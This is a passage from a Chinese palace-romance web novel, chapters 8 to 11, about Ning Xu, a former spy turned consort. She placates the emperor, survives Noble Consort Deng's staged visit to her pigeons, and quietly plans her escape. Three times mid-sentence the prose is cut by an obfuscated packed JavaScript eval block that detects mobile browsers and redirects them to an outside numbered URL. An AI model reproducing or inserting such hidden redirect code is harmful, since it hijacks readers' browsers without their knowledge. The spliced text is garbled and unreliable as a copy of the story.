给石虔伺候舒服了，她进一步试探：“虽然臣妾能喝避子汤，可这个东西也并不一定能发挥十成十的效用。百密一疏，臣妾此前就见过有人，喝了还是中了。” “臣妾认为，在太子出世之前，最好都别做实事。陛下若是想了，就像今日这样可好？” 凭她上辈子的记忆，邓贵妃第一胎的确是女儿，等太子出世，少说还要将近两年。拖到那时候，说不定她都已经找到机会逃之夭夭了。 就算还没走掉，后宫嫔妃哪个不比她年轻鲜嫩，这么长的时间，足够把石虔对她的这点兴趣给拖没了。 石虔听罢，似笑非笑：“三娘还真是一片赤诚，设身处地为朕着想啊。” “但是朕怎么觉得，是你自己心不甘情不愿呢？” 8. 栽赃 宁絮惊出一身冷汗，暗道不好。 她还是太着急了些，好像很想把他往外推似的。 石虔说完，也不步步紧逼，就这么一直盯着她，盯得她发毛。她不开口解释，这关算是过不去了。 她心一横，索性认了：“陛下当真敏锐，臣妾确有不愿之处。不过方才为陛下着想，也是真心话。” 她没有嘴硬，玩死不承认那一套。石虔很满意，声音也放温柔了：“哪里不愿，说出来。三娘，朕与你是一同长大的，从前什么贴心话没说过？扭扭捏捏的，岂不是连感情都生分了。” 短短几秒，宁絮脑子转了几道弯，才勉强想出一套可信又不至于得罪他的说辞。 她恰好到处地红了脸，有点难以启齿：“臣妾……也不知道是不是年纪大了，近来越发地怕疼，以前无足挂齿的疼痛，现在就有点吃不消。陛下又一贯生猛——” 石虔不是傻子，也没到健忘的年纪，她都这么说了，他没道理想不起来当初是怎么对她的。 她当年身上的伤痕，全然不是生猛二字就能遮掩过去的，这不过是图个好听，给他一个面子。 最狠的一次，几乎伤筋动骨，害她躺了半月才能下地，说她是沙包也不为过。 石虔一愣，他想了好几种缘由，倒没往这方面想过。 看来自己那时候的确不是个东西，都让人落下心理阴影了。 他缓和了语气，哄孩子似的：“什么时候开始的？何种程度的疼痛会令你受不住？” “平时来癸水那种，就差不多……” 宁絮看他没有发火的预兆，立即示弱，把自己团成一小团，可怜兮兮地缩在锦被里。 石虔叹了口气：“你怎么就能忍着不说呢？又不是没有调养的条件。朕这就传御医来，给你开几个方子。” 御医开的补药，横竖吃不死人，大不了偷偷倒了。 宁絮温顺地点头称谢，又眼巴巴地看着石虔：“治好之前，可否一直都像今天这样？臣妾也怕自己无法承受，做出什么失态的举动，坏了陛下的兴致。” 石虔心中愧意翻涌，哪有不依的道理。他将宁絮垂落的发丝别到耳后：“朕对你保证，今后断不会那样待你了。你心里有疙瘩也没事，时间还长，慢慢地解开便是。” 真话假话掺着说，御医也来折腾了一道，总算把石虔敷衍过去。 回想起他近几个月的种种表现，宁絮愈加不安。他跟她记忆中相比，实在大相径庭。 邓筠封妃后，石虔来找她的频次就逐渐降低了，不管是为了拉拢邓家还是因为兴趣减弱，总之在拉开与她的距离。 她后面被打入冷宫，石虔更是没有问过一句看过一眼，权当她已经死了。 现在石虔却对她热络得不正常，又是出手维护又是满足心愿，甚至还有这个耐心等她解开心结。 拿脚想也知道不对劲，但是她冥思苦想，却找不到原因。 因心头疑虑，她一晚上睡得并不安稳。翌日天蒙蒙亮，晚云还没来敲门，她自己就先起了。 两只鸽子站在棍子上，歪头打量她。 宁絮为它们命了名，浅灰带斑点的那只叫点点，深灰的那只叫豆豆。 她为石虔做事的那几年，什么都学，包括驭马和训鸟。点点和豆豆与她相熟了，但想指挥它们做点什么事，还不到时候。 秋霞的那条贴身帕子一直没洗，保留着味道，她时不时给它们闻一闻。等它们对皇宫这个陌生的地方安下心了，她试着放它们出笼子，看它们绕着房檐飞了一圈。 路过的宫女和内侍都忍不住抬头看，这时她又庆幸石虔对自己的态度有所好转。不管是出于什么原因，至少他给了这两只鸽子在皇宫上空盘旋飞行的特权。 天上飞的和地上跑的不一样，它们更加不可控。其他受宠的嫔妃，至多可以养小兔子这种不会叫也不会伤人的东西，还得老老实实关在笼里。 天气渐渐热了，过了晌午，宁絮就唤它们回来，给它们喂水。翠柳在旁边给她撑伞遮阳，劝道：“不如我们来喂，您先进屋歇着？今天日头猛，站在阴凉处也直冒汗。” 点点和豆豆有其妙用，喂养和训练之事，还是得亲自来。宁絮摆摆手：“你们别管这些，平时帮我拿点吃的，扫一下鸽舍就成。这两个小玩意娇气得很，只认我。” 两只鸽子平时养在翠微阁的花园里，晚上看天气和宁絮的心情，若是下了雨，就让它们进屋睡。宁絮喂完，晚云负责拿走盛水的小木碗，洗干净了再加满水放回去。 她正在拨弄点点的尾羽，听见晚云惊呼：“参见贵妃娘娘！娘娘，您……” 宁絮蓦地转头，看到邓贵妃挺着个大肚子，就站在翠微阁大门口。 邓贵妃从来没主动来过这儿，宁絮手底下的人未曾与她在此照过面，毫无心理准备，个个都手脚麻木，竟然无人想到要扶她进来。 她身后跟了一串长乐宫的宫女，大抵是她打了招呼，她们不得近身，只能由她拖着笨重的身子挪进翠微阁。 宁絮被她弄得头大。大热天的，她又快要生了，这节骨眼上一通折腾跑来翠微阁，万一发生点什么，这口黑锅宁絮背定了。 这是明晃晃的碰瓷来了。 这种举动在宁絮眼里幼稚得要命，完全是拿身家性命开玩笑，一点也不懂爱惜自己。 但她又没资格教育邓贵妃，只得把贵妃当姑奶奶伺候着，亲自搀着人往里走。姑奶奶还不领情，看到鸽子就挪不开眼，非得要过去摸摸。 “本宫今天过来，就是因为听说姐姐养了鸽子。从前本宫做小姐的时候就想养了，可惜父亲不让，进了宫又有诸多礼数，不好向陛下开这个口，没想到姐姐这里有。” 邓贵妃仰着脸望着宁絮：“姐姐可乐意让本宫去摸一摸？” 直接说不乐意，肯定不成，邓贵妃本来就比她位份高，又怀着龙种，被拒绝了伤心了，影响了腹中龙子，宁絮可赔不起。 让她去摸吧，这两只鸽子毕竟没见过她，虽然之前在酒楼见过形形色色的客人，但都是关在笼里的，还真就不是让人摸的。万一受了惊，瞎啄人，后果不堪设想。 而且谁知道邓贵妃心里有什么小九九，就算这次没出事，往后隔三差五来摸，她养这两只鸽子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326037|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可不是当宠物的，跟邓贵妃混熟了，有害无益。 “娘娘，这两个小畜生都不洗澡的，您身子金贵，最好还是别接触这些脏东西。” 宁絮一边赔笑脸，一边用身子挡着鸽舍。 “哎呀，养这些鸟儿不就是逗乐解闷，哪还能要求它们跟人一样沐浴更衣？本宫不嫌脏，姐姐就让我摸吧。” 邓贵妃求了又求，还问：“难道姐姐舍不得吗？” 这一口一个姐姐已经让宁絮感觉折寿，又被扣帽子，实在招架不住。只得把相对更加温顺的点点抱过来，一手托着它腹部，一手钳制它翅膀，递到邓贵妃面前。 “它们怕生，还请贵妃娘娘轻些，且不要摸得太久了。” 宁絮制着点点，看不清邓贵妃的动作。不知道受了什么刺激，它突然开始扑腾翅膀，剧烈挣扎起来。 她本想用力压制，但点点没有静下来的意思，怕把它翅膀折断了，她略一放松，它就扑棱棱飞得老高，停在飞檐上，任凭晚云和翠柳怎么叫都不下来。 宁絮看见，有几片带血的羽毛飘落在地上。 邓贵妃哎唷一声，捂着肚子颤颤巍巍，急得其他宫人也管不了那么多了，冲过来搀扶她。 宁絮喊他们把人扶进卧房，然后冲晚云使眼色，喊她快去找御医。 石虔今日上朝，得知西北边陲那几个小国又在蠢蠢欲动。他正闹心，又收到禀报，邓贵妃动了胎气，奏折也批不动了，只想骂人。 乘着小轿来到翠微阁，就看见宁絮拿着帕子在给鸽子擦什么。石虔对晚云和翠柳竖起手指，叫她们噤声，然后轻手轻脚走到宁絮身后，伸手环住她。 宁絮身子一抖，见他来了，想下跪，奈何被他捞着腰动不了。石虔在她意欲开口道歉之前，就捂住了她的嘴，然后示意她把帕子给自己看看。 帕子上有一股草药味，还沾着零星血迹。点点无精打采地缩在旁边，有人来了都没劲抬头。 “怎么回事？”他这话却不是对着宁絮问的，而是看向晚云和翠柳，“你俩来说，你们主子只知道谢恩和谢罪，但这未必就是她的错处，朕也担心冤枉好人。” 她们再迟钝，也察觉到陛下明显是站在宁絮这一边，于是再无顾忌，一五一十还原了邓贵妃来之后的事。 晚云还保留着那几根带血的羽毛，捧到石虔面前：“兴许是贵妃娘娘摸它的时候，力气太大了，扯断了几根羽毛，它受惊了才冲撞了娘娘。” 翠柳见石虔脸色并没有怀疑和不满，甚至斗胆替点点求起情来：“陛下，我们娘娘喜欢这两只鸽子喜欢得紧，能否适当惩罚，比如克扣鸽粮，但不要伤害它们性命？” 石虔爽快应允：“朕本来也没想对它们下手，两个小东西怪可爱的。克扣鸽粮也不必了，都受了伤，该吃得好一点才是。” 宁絮瞪大双眼，不可置信，待要说话，石虔抢占先机，低头吻住她。 “把你那一堆废话憋回去，朕不想被你拿宫规和礼数压了。”直到宁絮耳根子通红一片，他才松开她。 “是非对错，朕心里有一杆秤，这回断不能再让你受了欺负。” 9. 云泥之别 邓贵妃被安置在宁絮的床榻上，哭爹喊娘一下午，这会儿早没了气力，只能时不时抽泣和哼哼两声。 石虔在门口，先问了御医她的情况，得知她已无大碍，才清清嗓子走进去，准备跟她算账。 邓贵妃见了他，眼中盈满泪水，好像受了天大的委屈。这模样头一回看还挺招人疼，看多了也烦了，石虔不为所动，先发制人： “朕昨日才同你说了，老老实实呆在长乐宫，不要乱跑。可你呢？跑来宁絮这里摸鸽子，还拔人家鸽子毛！你看看你干的这叫什么事，平白无故招惹什么都不懂的小畜生，你就庆幸这里养的不是驴吧，不然蹶子一尥，当场给你踢得断气！” 他把那几根羽毛拿到邓贵妃面前晃了晃：“你到底能不能管住自己的手？管不住朕替你管，明天开始给你绑了，反正用膳有人喂。” 邓贵妃何时被他这么吼过，她也是有气性的，顿时大哭起来：“陛下，臣妾是有身子的人，您怎能不分青红皂白，上来就这样凶臣妾？宁絮说这些毛是臣妾拔的，您就信了？臣妾在您心中，比不得她的鸽子重要吗？” 石虔被她哭得更头疼了，叱道：“没见过拿自己跟畜生作比的！你怀个孩子，神智和教养都怀没了？从明天开始，你回到长乐宫，直到孩子生下来坐完月子，不得踏出一步！” 翠柳送了茶水过来，石虔一饮而尽，又道：“还有，没有朕的允许，你从此以后不得造访翠微阁。别以为朕看不出来你的心思，你今天来找宁絮想做什么，你自己心里有数。” 他对邓筠是了解的，这女人娇蛮了一点，但是胆子很小，也没什么心眼，只会玩些拙劣的小把戏。这次敲打完，她能老实很长一阵子。 今日暂且让邓贵妃在翠微阁睡一晚，明日她恢复了，再差人护送她回长乐宫。至于宁絮，他直接带人回了太和殿。 宁絮一开始还在拒绝：“翠微阁又不止一处能睡觉的地方，臣妾可以换一间屋——” 话音未落就被石虔薅上了小轿。 “翠微阁本该是你的地方，邓贵妃今日鸠占鹊巢，朕理当给你补一个更好的住处。” 轿子有两点好，位置小，又在前行，宁絮没办法对他行礼。 到了太和殿，洗漱完毕，已近子时。宁絮坐在床边，手脚都不知道怎么摆，局促不安的样子落在他眼里，分外可怜可爱。 “三娘，你在怕什么？朕说过了，不勉强你。”他双臂一收，抱着宁絮滚上床，在被子里翻了几转，“让朕抱一下总可以吧？今天这事可愁死朕了。” 宁絮侧脸贴着他胸膛，与他亲密无间地依偎在一处，声音却依然谨慎：“陛下愁什么？后宫小事无足挂齿，不必劳心费神。” “怎会是为了这！”石虔哭笑不得，“是西北那边不太平，乌弥人率军截了西北驻军的粮草。” 乌弥是一个西境小国，在宁絮的印象里，这里翻不起什么风浪。 石虔一贯不跟后宫嫔妃说前线战况，但宁絮是个例外。她是真正上过前线的人，很多事情亲身经历过，一点就透，甚至能反过来启发他。 就算她长居宫中，能力退化了，她也是唯一一个能理解他在烦恼什么的人。 有些抱怨的话不能对臣子说，只好对她说。 “早上收到项志传来的线报，粮草运输的线路肯定是要换了。就是不知道乌弥人从哪探听来的消息，别是在哪安插了探子。” 宁絮听到探子二字，无端想笑。曾经她就是这样的探子。 “项将军应当有办法排查，陛下放心。” 项志如今也不是她能直呼其名的了，人家是大将军。 他与石虔同一年生，是石虔杂耍班子里的师弟。人长得高大，一座山似的，身手不如石虔灵活，但是需要卖力气的时候从不含糊。 为人也仗义，石虔在明月楼楼下预备翻窗，他就在边上望风放哨，必要的时候挺身而出，把守卫吸引走。 宁絮身为花魁，偶尔得闲，便让姐妹替自己打掩护，溜出去跟他们二人逛集市。她怕胖，吃得少，石虔又老爱给她塞，推推搡搡之际，零嘴就被项志截胡。 项志大嘴巴，一张嘴能吞一整个糖饼。石虔追着他揍，他就往宁絮身后躲。 石虔被先帝认下，成了七皇子，发达后没忘了这位兄弟，接他到身边做些杂事，待遇比先前高出不知几个档次。 也正是在这个时候，项志真正的天赋才被发掘。论杂耍，他的水平只能算是一般，也看不出有什么别的长处，可在接触沙盘和兵书后，整个人飞速开了窍。 排兵布阵，统筹全局，是极为复杂又耗费心神的事情，连当时的太子都觉得头痛，项志做起来却乐在其中。石虔第一次看到他布下的军阵，直呼捡到宝了。 头两年宁絮只是旁观者，以侍妾身份伴石虔左右，无足轻重，真正与项志打起交道，是在灾年过后。 有一年多地水灾，余杭受到波及，灾荒后又是大疫，纵使明月楼也入不敷出，难以为继。 宁絮收到昔日姐妹的来信，便与石虔商量，让她们投奔京城，七皇子好歹给得起一口饭。 但这口饭不能白吃，她们得参加训练，然后出去卖命。 一群姑娘家，看起来手无缚鸡之力，令人生不起防备之心，又有着姣好的容貌，最适合安插在敌人身边窃取机密。 她们归属于项志手下，是项志掌握的第一支主力军。项志一把手，宁絮二把手，带着这支隐秘的队伍，为石虔打下了争夺王位的基础。 宁絮的眼神变得渺远，石虔絮叨了半天，她接了一句就再无回音，他低头一看，就知道她走神了，朝她腰间软肉捏了一把：“想什么呢？” “在回忆项将军到底长什么模样，太久没有见到他，已经想不起来了。”宁絮不好意思地笑了笑。 “他啊，”石虔也跟着咧嘴，“别想了，他不好看，长得凶神恶煞的。朕上次见他，块头是先前的一倍有余，一副恶相，不知道的以为是哪个寨子的土匪。就这个长相，谁家姑娘看了不怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326038|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他又不是个主动的性子，活该他一辈子讨不到老婆。” “朕都想过给他指婚了，靠他自己，下辈子也是光棍一条。” “一辈子还长嘛，陛下怎么说得好像一辈子过完了似的，何以见得项将军娶不到老婆？” 石虔沉默片刻，笑道：“说的是，朕武断了。” 宁絮也就随口一说，她的一辈子太短，项志后面有没有娶妻生子，她还真不知情。不过他手握兵权，又长期驻守边关，若是不在京城置一份家，无牵无挂，实在是个隐患。 她以为这是没有悬念的事。但既然石虔说到指婚，这便是个突破口，她要探一探消息。 “项将军不善言辞，但未必就没有心上人。臣妾记得，当初他与小梅相处得不错，时常嬉笑打闹，有点那方面的苗头。” 梅诗诗是她手下的得力干将，做事有勇有谋，豁得出去，宁絮三番五次在石虔和项志面前赞扬她，也因此，石虔一直对她有所印象。 他听罢连连摆手：“这种姑娘怎好许配给项志做正妻，朕要是说得出口，满朝文武都以为朕有心羞辱项将军。” 说完才觉得不对，这好像把宁絮一块儿骂进去了，又改口道：“她不是早都嫁人了。” “是啊，可惜了。”宁絮低着头，揪起被角，揉搓成团又放开，“陛下还记得她嫁去哪，嫁了谁么？没能撮合他俩，我心里总觉得遗憾。” 这种小事石虔哪还想得起来，只道似乎是在江南某地：“你还想做媒啊？” “现在肯定是不能了，小梅配将军，未免太高攀了。再说臣妾甚至不知她身在何处，就不说这些没影的事儿了。” 没能套出话，宁絮兴意阑珊，从石虔胸口滚下来，被子一拉：“臣妾困得紧，陛下明日也要早朝，不若歇了吧。” 烛灯熄了，石虔一时半会儿却没有睡意。他在黑暗中辨别着宁絮的呼吸节奏，知道她也没那么快能睡着，胳膊一伸，揽住她腰肢。 这种时候拌嘴都拌不动，温情脉脉之际，透着一股倦怠。他好脾气地哄道：“方才朕说错了，小梅是个好姑娘，只是……只是生不逢时。” 宁絮自认为心已经被磨得很硬了，轻易起不了波澜，听到这句话，依然感觉某处地方破了个口子，有东西流出来，不知道是血还是脓。 他们这群人，真要论起出身，谁也谈不上生逢其时。 时至今日，境遇云泥之别，若是全赖给时运，未免有失公允。 她不打算跟石虔争辩这些，说什么都没意义了，说多了还打草惊蛇。 但是皇上主动放低身段示弱了，她要是连个屁都不放，也不合适。 她稍加思忖，轻声问道：“陛下，您这段时间对臣妾特别的好，处处都在迁就臣妾，可是有什么缘由？” 过了很久，久得她以为石虔睡了，或者不想回答这个问题了，石虔才开口。他声音又涩又沙，像脚踩过砂砾。 “是因为朕从前对你太坏了，如今想来，很是不该。” 10. 问心有愧 宁絮想起他们刚刚离开皇宫时，石虔在马车上掉的眼泪。 他还说他对不住她。 “您究竟哪里对臣妾坏了呢？您让臣妾跟在您身边，入了后宫，封了御女，衣食无忧，这也叫做坏吗？就算当年您对臣妾稍微粗暴了些，也是情非得已。” “说给任何人听，他们都会说，您待臣妾太好了，仁至义尽。” 她又听到沙沙声，这次是石虔在摇头，蹭到枕头发出来的声音。 “不是这些，朕不是说这些。” “你自己是不知道的，但是朕知道，回想起来，那样对你实在太残酷了。当时不觉得，后面越想越过不去心里这道坎。” 宁絮还想细问，但石虔显然不愿再说。对着皇上刨根究底，太失礼了，于是她也噤声了。 心里装着事，但这一晚睡得不错，盖因白天应付邓贵妃，心神消耗过大。她一夜无梦，早上悠悠转醒，边上被褥已经凉了，石虔走了多时，想是应付早朝。 太和殿的早膳规格更高，十道小菜不重样，每一碟尝一口就饱了。吃饱喝足，她乘着小轿返回翠微阁，邓贵妃已经先走一步，晚云和翠柳正忙着换褥单。 点点也比前一日精神些，见了她，小脑袋一歪。她顺手捡了一把麦子放进食碗里，一边喂一边问：“贵妃娘娘走的时候状况可还好么？” “她没事儿，来了几个人扶着她走的，没有动您的东西，也没找我们麻烦。”晚云冲着点点努了努嘴，“更没欺负它俩。” 石虔放了狠话，邓贵妃此后当真不曾再来，当然也因为她预产期快到了，需要格外留心。 他凶了邓贵妃，事后也要做出补偿。因此往后的数月，宁絮都过得安宁而惬意，石虔和邓贵妃不来叨扰，就没人能令她烦心。 盛夏时节，石虔的第一个孩子降生，如他所言，果然是个公主。 邓贵妃体质尚可，虽然孕期没少被石虔气，时不时的吃瘪，但生产还算顺利，母女平安。 得知是个女儿，她脸上的失望掩盖不住。石虔漫不经心地劝她：“公主又怎样了，公主朕也喜欢。等你养好了身体，下一个定是皇子。” 哄睡了邓贵妃，已是夜半时分，他没有在长乐宫就寝，而是命人送自己去翠微阁。 偏巧今晚宁絮也没睡，屋内热得让她躺不下去，有冰盆都呆不住。花园里有一架秋千，反正夜晚无人，不必在意礼节，她索性只穿一件单衣，跑去秋千上坐着吹风。 吹着吹着，定睛一看，门口站着个人，不是石虔又是谁。 她从秋千上跳下来迎接他，知道他不喜欢她总是行礼，也就免了这些过场，省得再得罪了他。 “陛下，您这样悄没声的过来，真的很吓人。” “三娘胆色过人，这不没被吓着嘛。”石虔从身后拿出一朵白茉莉，这是他在长乐宫的花园顺手摘的，“生辰快乐。” 宁絮这下真愣了。 她自己都快完全忘了自己的生辰。这种日子太微不足道，她要操心的事又太多，轮不到考虑这个。 石虔见她愣怔，自己也犹疑起来：“子时都过了，是第二天了，你生辰就是今日，没错呀。” 宁絮接过茉莉花，别在发间，声音温柔如水：“多谢陛下惦念。” “朕想过给你操办生日宴，但是跟邓贵妃生孩子的时辰冲撞了，腾不出空。她那人心眼子又小，朕也怕回头她再给自己气出个好歹。今年先委屈你一次，来年给你补一个大的。” 宁絮抿嘴一笑：“那臣妾先记下了。” 石虔搂着她，二人一块儿坐上秋千，在夜风里晃荡了片刻，他问：“三娘想要什么生辰礼？老规矩，只要朕办得到，都给你送来。” 点点和豆豆今晚很躁动，在笼里扑腾来扑腾去，想是被热的。宁絮盯着它们看了一会儿，说：“臣妾想要两样礼物。” 她肯张口问自己要东西，至少说明心里的隔阂不那么重了，自己的努力颇见成效。石虔很开心：“莫说两样，二十样二百样也行。” “这不成了狮子大开口。”宁絮笑道，“没有这么夸张，两样足够。” “第一样，陛下能不能再多带几只灰色鸽子给臣妾，大约十来只吧。依臣妾看，两只鸽子未免有些孤单了，有个鸽群，更热闹。” “十几只，这么多，都分不清哪只是哪只。”石虔想象了一下那个场面，忍俊不禁，“你喜欢就成，明日朕就令人寻十几只健康的灰鸽子。十五只，总够了？” 宁絮略一琢磨，点头道：“够了。” “第二样礼物，陛下能不能给臣妾一些珠宝首饰？轻便一些的就好，臣妾倒不是自己缺这些，就是给那两个小姑娘攒着。将来她们兴许有出宫嫁人的那天，这些就是臣妾给她们的陪嫁。” 石虔知道她说的是翠柳和晚云，她对自己带回来的小姑娘，总有种责任感，有时不像对宫女，像老母亲对女儿。 “珠宝首饰，要多少都行，但你想她们果真愿意离了你，自己跑出去嫁人么？再者，你从现成的首饰里拨一批给她们，你自己用过的，相当于娘家的传家宝了，不是挺有意义？” “现在不乐意，未来说不准，反正臣妾先给她们备一条后路。” 她全身上下，只剩下手腕戴着个金镯子，取下来亮给石虔看：“像这种镯子，材质和做工一看就与民间流通之物相去甚远，寻常贵族家也少见，倘若拿这种物件作为陪嫁，臣妾担心太过惹眼了，万一枕边人起了歹心……” 石虔啼笑皆非：“八字没一撇的事，你都想哪儿去了？你是她们的靠山，有你坐镇，哪个男人敢起歹心？” 宁絮却一脸认真：“话虽如此，可她们真的嫁了，臣妾就不可能时时把她们放在眼皮底下盯着了。一开始男人看在臣妾和陛下的面子上，会善待她们。久了无人监督，心思是会变的。” “当年是臣妾带她们回来的，但凡还有一分能力，就得对她们负责到底。” 石虔听着她碎碎念，颇有种当了爹娘， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326039|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正在为自家姑娘婚嫁大事操心的错觉。 虽然觉得她的担心都是无稽之谈，但这个生辰礼置办起来再容易不过，他爽快地应了。 明日便去预备一批珠宝，按她要求，既不要稀缺到典当行都不敢收，也不要完全不值钱。 做得不起眼一些，又能让行家一眼辨出其价值，万一她们未曾觅得良人，首饰一卖，这笔钱够她们从最偏远的南疆回到京城。 “就这两样生辰礼么？这第二样还是替别人求的。你自己呢，没别的想要的了？” 宁絮摇头，心满意足：“没了，臣妾在此先谢过陛下。” “又来，你能不能改改这个习惯。谢一两次也就罢了，次次都谢，当真对朕没感情了？” “感情自然是在的，但是说过的话覆水难收，陛下权且接着吧。” 宁絮今夜心情舒畅，比平日更活泼些，脚尖点着地面，踢踢踏踏，仿若回到十二三岁。石虔牵着她一只手，问道： “朕还想送你一件礼物，你要是不要？” 宁絮偏过头，眼睛眨巴：“陛下先说是什么，臣妾再考虑要不要。” “嘿，你还担心朕坑害你啊？”他佯装生气，屈起手指弹了她手背一下，没用劲，指甲盖蹭得她手背痒痒的。 “朕在想，你跟了朕这许多年，位份不该只是个御女，再往上提两级都是亏待了你。” 宁絮闻言，浅浅地笑了一下：“这倒是不必，当初一个御女封号，文武百官都吵得不可开交了。再提位份，少不了又是一阵血雨腥风。” “他们有意见，那是他们的事，大不了谏言几句，干预不了那么多。”石虔浑不在意，“你只需要给个准话，愿不愿意？” “臣妾心里没什么想法，一切都听陛下的。就算不提，眼下的待遇也很好了，位份这种东西，不一定跟实惠挂钩。” “不成，你不能这样糊弄朕，今天必须明说。” 宁絮觉得好笑：“陛下要提，直接提便是了，为何要与臣妾商量？难道是提位份要有个由头，需要臣妾做点什么，用以服众？” 心里的想法被她一眼看穿，石虔隐隐感到不快。但今日是她生辰，他不能流露出来，于是如常笑道：“是啊，这事讲究的就是名正言顺。” 方才还说旁人干预不了什么。宁絮腹诽几句，懒得指出其中自相矛盾之处，不能真的聊崩了。 “想要名正言顺，臣妾以为，也不用特意去做什么。您随意从臣妾做过的事里挑几件，譬如带兵偷袭，缴获敌方地图之类的，就足够了。倘若要做戏，还得当着后宫那么多人的面做，少不得要举行仪式、筵席，如此大费周章，您也累得慌。” 她的语气很是体贴，但提出来的建议，石虔万万采纳不得。 她做的那些事，若是摊开来说，落在旁人耳里，决计不算功绩。人家左一句不守妇德，右一句蛇蝎心肠，都算轻的。 真这样提出来，后宫和朝堂才是滴了水的油锅，要炸翻天了。 11. 惊鸿 石虔一摇头，宁絮就知道他要放什么屁。 她就不该对他抱有一丝一毫的期待，他骨子里跟那些朝臣并无两样。他们发出什么声音，就代表这些声音是经由他允许才发出的。 今晚她到底还是感情用事了，有点冲动，须得克制。 仔细想来，升了位份，也没什么不好。石虔尚未立后，后宫由邓贵妃协理，但邓贵妃自己的脑子就不太灵光，惹出什么事了，还得他帮着平乱子。 把她提上来，她就有了管事的权限，有些消息也能提前得知。这样方便她布局，做好逃走的准备。 “还是陛下思虑周全，臣妾把事情想得简单了。”宁絮拔掉话中的刺刺，变回驯顺可人的模样，“这么着，臣妾还是在才艺上取胜，您看如何？” 她突然想通了，肯听话了，石虔自然是高兴的：“你的才艺，朕不担心。若能表现得别出心裁，力压其他妃子一头，则是最好的。朕听凭你发挥。” 说是这样说，约莫半年时间，也没碰上石虔预想的，适合展示才艺的场合。 邓贵妃刚生下公主，要修生养息，不好让她立刻去主理什么仪式。石虔自己又被边关小国缠得头大，乌弥军队神出鬼没，不咬人但膈应人。 各项事宜林林总总堆积到冬天，万寿节将至，宫里才有了喜庆的气息。 皇上的生辰谓之万寿节，举国欢庆，大宴群臣，这是先帝留下的规矩。石虔上位后，这一习俗得以继续保留。 在节前三月，宫里宫外便开始紧锣密鼓地做准备。不论是臣子还是后妃，都绞尽脑汁思考，什么样的礼物能送到陛下的心坎上。 此外，就看谁能在寿宴上哄得陛下龙颜大悦，让陛下有面子。 善琴的嫔妃，早已开始研究音律，练习名曲。善舞的，则是一边排演舞步，一边节食，舞姿和身段都要一等一的曼妙。 互相串门的次数，也因此多了起来。人人都想打探其他人预备表演什么。 位份低的妃子们，花蝴蝶一般围绕在邓贵妃身边。一来邓贵妃是六宫之首，每次小聚皆靠她组织。二来她与内侍监关系密切，而内侍监又掌管着抽签大权。 一场寿宴三个时辰，看似漫长，除却进餐和文臣吟诗作赋的时间，就所剩无多了。要想让每一位后妃都展现才艺，显然不现实。 内侍监会备好木牌，由陛下随机抽取三人，抽中了谁，便轮到谁出风头。 对外，内侍监自然铁面无私。谁要是意图拿好处来笼络他们，非但不会受到优待，反而很可能被上报给陛下，以妨碍公平为由，予以惩戒。 但实际情况大家看在眼里，心知肚明。连续三年万寿节，每一年都抽中了邓贵妃，在她还不是贵妃的时候便是如此。 邓贵妃听着她们阿谀奉承，讨巧卖乖，心中烦躁不已。 宫中妃子是什么表现，她已经摸得一清二楚，唯独对宁絮一无所知。 虽然以往宁絮从未被抽中过，可近一年来，石虔待她明显不同往日。今年万寿节会是什么光景，尚未可知。 她去找内侍监旁敲侧击，得到的答复模棱两可，只道他们都是打乱顺序的，若她想要一个确定的结果，他们爱莫能助。 邓贵妃也想过亲自找宁絮一探究竟，但石虔已经给她下了禁令，不得擅自前往翠微阁。欲邀宁絮来长乐宫，宁絮又总是声称身体有恙，无力出门。 哪怕她喊其他妃子上门拜访，一样是吃闭门羹。 还不敢逼得太紧，怕宁絮去跟石虔吹耳边风，到头来石虔又要怪她。 如此，宁絮成了唯一一个保密的，简直密不透风，无人摸得清她的动向。 万寿节开宴，邓贵妃才见到她本人。 她罩着宽大的素色外袍，只涂了淡红的唇脂，在一众精心装扮，预备争奇斗艳的嫔妃之中，按说并不惹眼。然而她身量较寻常女子更为高挑，骨格周正，又是天生的浓眉大眼，坐卧行止皆引人注目，眼中有了她就再难有别人。 人最怕比较，平时单独看，都是出挑的美人，一旦跟宁絮并排走着或坐着，登时就被衬得逊色。 不过以她目前的位份，轮不到跟邓贵妃坐一块儿。身边都是御女，年纪普遍小，这会儿紧张都来不及，没那个闲工夫端详她。 石虔听了一整晚花里胡哨的祝寿词，有时他挺佩服这些文臣，肚子里墨水怎么就这么多，每个人的词都不带重样的。 文采再好，听到后面他也难免眼皮打架。流程终于走到抽签，他才来了精神，略一转头，望向宁絮。 宁絮坐在他的斜后方，跟他隔了若干个人头，没有感知到他的目光，自顾自盯着脚下发愣。 